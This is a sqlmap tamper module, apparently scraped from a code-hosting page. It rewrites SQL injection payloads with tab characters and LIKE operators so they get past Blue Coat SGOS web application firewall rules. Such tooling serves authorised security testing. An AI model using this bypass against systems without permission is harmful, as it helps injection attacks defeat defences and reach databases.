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52 lines
1.3 KiB
Python
52 lines
1.3 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import re
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from lib.core.data import kb
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.NORMAL
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def dependencies():
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pass
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def tamper(payload, **kwargs):
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"""
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Replaces space character after SQL statement with a valid random blank character.
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Afterwards replace character = with LIKE operator
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Requirement:
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* Blue Coat SGOS with WAF activated as documented in
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https://kb.bluecoat.com/index?page=content&id=FAQ2147
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Tested against:
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* MySQL 5.1, SGOS
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Notes:
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* Useful to bypass Blue Coat's recommended WAF rule configuration
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>>> tamper('SELECT id FROM users WHERE id = 1')
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'SELECT%09id FROM%09users WHERE%09id LIKE 1'
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"""
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def process(match):
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word = match.group('word')
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if word.upper() in kb.keywords:
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return match.group().replace(word, "%s%%09" % word)
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else:
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return match.group()
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retVal = payload
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if payload:
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retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal)
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retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
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retVal = retVal.replace("%09 ", "%09")
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return retVal
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